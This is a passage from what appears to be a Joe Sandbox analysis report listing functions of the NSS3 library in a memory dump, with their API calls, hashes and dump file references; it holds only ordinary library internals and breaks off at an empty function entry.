Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CA8884C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA8889F

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Arena_Value$AllocateCriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 59923426-0
Opcode ID: bd50261ce3b9898564fdb5b96c3a17af9c7348d1521b48235c8ec29255bfb8e3
Instruction ID: 18fe382236217cb1505f1bc08dea3eda0df58d6484a223beb190f1353dce464c
Opcode Fuzzy Hash: bd50261ce3b9898564fdb5b96c3a17af9c7348d1521b48235c8ec29255bfb8e3
Instruction Fuzzy Hash: 84315171A422058FEB00CFA4DD44BAA77E8BF45389F58403AD9159B751EB70DA48CBA2

Function 6CA86420 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6CA85DEF,?,?,?), ref: 6CA86456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6CA85DEF,?,?,?), ref: 6CA86476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6CA85DEF,?,?,?), ref: 6CA864A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6CA85DEF,?,?,?), ref: 6CA864C2

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID:
API String ID: 3886907618-0
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: 10595c87d04e4a792d1159f23a6792ef74d6aefeb86aebc47545dc68814cf7d3
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: 1621E7B1A122016FFB109E68DD05BAB76E9EB40308F184538F51EC6B41E7B2D598C791

Function 6CAC4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CACB60F,00000000), ref: 6CAC5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CACB60F,00000000), ref: 6CAC501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CACB60F,00000000), ref: 6CAC504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CACB60F,00000000), ref: 6CAC5064

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: a579d831d59858b1937903035028e10b105448f30e251f9a8919c34ea9d26a72
Instruction ID: 8e3096687e323075530315c43771befe5605dbcb99bcb0b27cb9c151a30ebbf3
Opcode Fuzzy Hash: a579d831d59858b1937903035028e10b105448f30e251f9a8919c34ea9d26a72
Instruction Fuzzy Hash: E43119B4A05A06CFDB00EF68D48466ABBF4FF09344F158569E859DB701EB30E994CBD2

Function 6CAD4590 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000008,?,6CAD473B,00000000,?,6CAC7A4F,?), ref: 6CAD459B

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

TlsGetValue.KERNEL32(?,?,6CAD473B,00000000,?,6CAC7A4F,?), ref: 6CAD45BF
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CAD473B,00000000,?,6CAC7A4F,?), ref: 6CAD45D3
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CAD473B,00000000,?,6CAC7A4F,?), ref: 6CAD45E8

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$Alloc_CriticalEnterSectionUnlockUtilmalloc
String ID:
API String ID: 2963671366-0
Opcode ID: b7a672d86c5284dcafc5ff34938d1eff53a13dd58043545d790f79517aac1f9a
Instruction ID: bc1be3e65a1f3b47dea1e3913fcd0aae70183ba2a61f90b3088cda376b877179
Opcode Fuzzy Hash: b7a672d86c5284dcafc5ff34938d1eff53a13dd58043545d790f79517aac1f9a
Instruction Fuzzy Hash: F22103B0A0060AAFDB009F69DD445AABBB4FF09359F044135E949C7711EB31F598CBD1

Function 6CA704D0 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 6CA704F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA7053B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA70558
GetLastError.KERNEL32 ref: 6CA7057A

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorFileHandleInformationLast
String ID:
API String ID: 3051374878-0
Opcode ID: a72155b71e1212ab8ed09d8b3cd45a3987f62642e2c3d12e9c43c22ad457cb38
Instruction ID: 0f4da32cc7ff83035aef4ba52a64a88332d0f903975e39b57cc41071bd7aa892
Opcode Fuzzy Hash: a72155b71e1212ab8ed09d8b3cd45a3987f62642e2c3d12e9c43c22ad457cb38
Instruction Fuzzy Hash: F6215E71A002189FDB08DF68DC94AAEB7B8FF48308B148129E809DB351D731ED05CBA0

Function 6CAF2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CAF2E08

Part of subcall function 6CAE14C0: TlsGetValue.KERNEL32 ref: 6CAE14E0
Part of subcall function 6CAE14C0: EnterCriticalSection.KERNEL32 ref: 6CAE14F5
Part of subcall function 6CAE14C0: PR_Unlock.NSS3 ref: 6CAE150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CAF2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CAF2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAF2E95

Part of subcall function 6CAE1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CA888A4,00000000,00000000), ref: 6CAE1228
Part of subcall function 6CAE1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CAE1238
Part of subcall function 6CAE1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CA888A4,00000000,00000000), ref: 6CAE124B
Part of subcall function 6CAE1200: PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0,00000000,00000000,00000000,?,6CA888A4,00000000,00000000), ref: 6CAE125D
Part of subcall function 6CAE1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CAE126F
Part of subcall function 6CAE1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAE1280
Part of subcall function 6CAE1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CAE128E
Part of subcall function 6CAE1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CAE129A
Part of subcall function 6CAE1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CAE12A1

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 490d0f520877131795be7141e56afc83d569fcfbd38f1bd030072afeb7aba63a
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 2921F2B1D003914BE700CF549D44BAA3A74AF9530CF250369ED285B742F7B1E6D982A2

Function 6CAAACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CAAACC2

Part of subcall function 6CA82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CA82F0A
Part of subcall function 6CA82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA82F1D

Part of subcall function 6CA82AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CA80A1B,00000000), ref: 6CA82AF0
Part of subcall function 6CA82AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA82B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CAAAD5E

Part of subcall function 6CAC57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CA8B41E,00000000,00000000,?,00000000,?,6CA8B41E,00000000,00000000,00000001,?), ref: 6CAC57E0
Part of subcall function 6CAC57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CAC5843

CERT_DestroyCertList.NSS3(?), ref: 6CAAAD36

Part of subcall function 6CA82F50: CERT_DestroyCertificate.NSS3(?), ref: 6CA82F65
Part of subcall function 6CA82F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA82F83

free.MOZGLUE(?), ref: 6CAAAD4F

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 611f1c83ff4812d4acfe6706665cc473eb32d8ca0adda2aead548f07fce50a87
Instruction ID: 14a92f887616e0b60131c8d515072b01826f40e7dd8c258130c8352430e84ce4
Opcode Fuzzy Hash: 611f1c83ff4812d4acfe6706665cc473eb32d8ca0adda2aead548f07fce50a87
Instruction Fuzzy Hash: BB2196B1D012148BEB10DFA4DA055EEB7F5AF05258F454168D849BB700FB31AE9ACBA2

Function 6CAC24E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAC24FF
EnterCriticalSection.KERNEL32(?), ref: 6CAC250F
PR_Unlock.NSS3(?), ref: 6CAC253C
PR_SetError.NSS3(00000000,00000000), ref: 6CAC2554

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 988acf904a0c1559e04fc9fc0c210cad10450a5bd296e0ef7af5c474c6dec30f
Instruction ID: 5b0636d379c93a13361b591df877a0aac987c86a8e7216c67ee9769a1f3f4462
Opcode Fuzzy Hash: 988acf904a0c1559e04fc9fc0c210cad10450a5bd296e0ef7af5c474c6dec30f
Instruction Fuzzy Hash: EE112675E00118ABDB00AF68EC559AF7B7CEF0A328B540124EC0897301EB31E998C7E2

Function 6CADECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CADF0AD,6CADF150,?,6CADF150,?,?,?), ref: 6CADECBA

Part of subcall function 6CAE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1000
Part of subcall function 6CAE0FF0: PR_NewLock.NSS3(?,00000800,6CA7EF74,00000000), ref: 6CAE1016
Part of subcall function 6CAE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA887ED,00000008,?,00000800,6CA7EF74,00000000), ref: 6CAE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CADECD1

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CADED02

Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CADED5A

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 183cf278a4843929f00a4614bc450f3f1f2b6914e754ddb57ec4b5936296735c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 6521A4B1A007425BE700CF25D944B56B7E4BFA9348F16C219E81C87662EB70E5D4C6D0

Function 6CB0EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CAF7FFA,?,6CAF9767,?,8B7874C0,0000A48E), ref: 6CB0EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CAF7FFA,?,6CAF9767,?,8B7874C0,0000A48E), ref: 6CB0EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CAF7FFA,?,6CAF9767,?,8B7874C0,0000A48E), ref: 6CB0EE14

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

memcpy.VCRUNTIME140(?,?,6CAF9767,00000000,00000000,6CAF7FFA,?,6CAF9767,?,8B7874C0,0000A48E), ref: 6CB0EE33

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 7b0c5c19257124d0b252073b394feee0838f74b1ed3c0a947cf9d601daa9e0f5
Instruction ID: db06600f3add862910a1af3301d9b70cc41c7f1ce509c185fc7ecfa0ed8f9463
Opcode Fuzzy Hash: 7b0c5c19257124d0b252073b394feee0838f74b1ed3c0a947cf9d601daa9e0f5
Instruction Fuzzy Hash: DE11C2B1B047DAABEB509E65DC84B4ABBA8FF0435CF204535E95986A00E730F464C7E2

Function 6CAA8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAA8DE7
EnterCriticalSection.KERNEL32 ref: 6CAA8DFC
PR_Unlock.NSS3 ref: 6CAA8E2D
PR_SetError.NSS3 ref: 6CAA8E49

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 4f21d782aed7d27f51bb085d869c86ba05510a08edfa79c90e3c627499a2c1d2
Instruction ID: 1b43962a9f9450beea9464a9bd379835660fc47639e0ff48c367f33fb2ca54a4
Opcode Fuzzy Hash: 4f21d782aed7d27f51bb085d869c86ba05510a08edfa79c90e3c627499a2c1d2
Instruction Fuzzy Hash: D8119E71605A109FD700AFB8D5882AABBF4FF09754F054929DC88D7B00EB34E895CBD2

Function 6CB2AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CB15F17,?,?,?,?,?,?,?,?,6CB1AAD4), ref: 6CB2AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CB15F17,?,?,?,?,?,?,?,?,6CB1AAD4), ref: 6CB2ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CB1AAD4), ref: 6CB2ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CB1AAD4), ref: 6CB2ACDB

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 97e9cf8d2a4bbf4a4539a62d793edc1c0a2c480b280f8a63802845015e40d0f1
Instruction ID: 81b128ec40572e31389264e0f713a3371cced2f4dcf616679f921115117f4459
Opcode Fuzzy Hash: 97e9cf8d2a4bbf4a4539a62d793edc1c0a2c480b280f8a63802845015e40d0f1
Instruction Fuzzy Hash: 510169B5601B519BE710DF29D908763B7E8FB00659B004839D85EC3A00EB34F058CB92

Function 6CAEC590 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAEC5AD

Part of subcall function 6CAE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1000
Part of subcall function 6CAE0FF0: PR_NewLock.NSS3(?,00000800,6CA7EF74,00000000), ref: 6CAE1016
Part of subcall function 6CAE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA887ED,00000008,?,00000800,6CA7EF74,00000000), ref: 6CAE102B

CERT_DecodeCertPackage.NSS3(?,?,6CAEC610,?), ref: 6CAEC5C2

Part of subcall function 6CAEC0B0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAEC0E6

CERT_NewTempCertificate.NSS3(?,00000000,00000000,00000001), ref: 6CAEC5E0
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAEC5EF

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Arena_Util$ArenaCertCertificateDecodeErrorFreeInitLockPackagePoolTempcalloc
String ID:
API String ID: 1454898856-0
Opcode ID: 7d27acfe01e0160b2b765bda7ac783cd24b3b0c916196311c5c805586683847c
Instruction ID: d1839cd7a55f1e53196beba412dfd541262f2f3b768d4476d95aaf51a49222eb
Opcode Fuzzy Hash: 7d27acfe01e0160b2b765bda7ac783cd24b3b0c916196311c5c805586683847c
Instruction Fuzzy Hash: A701F2B1E001046FEB00AB64DC02EBF7B78DB08608F454029EC159B341F631A958C6E2

Function 6CAE07B0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

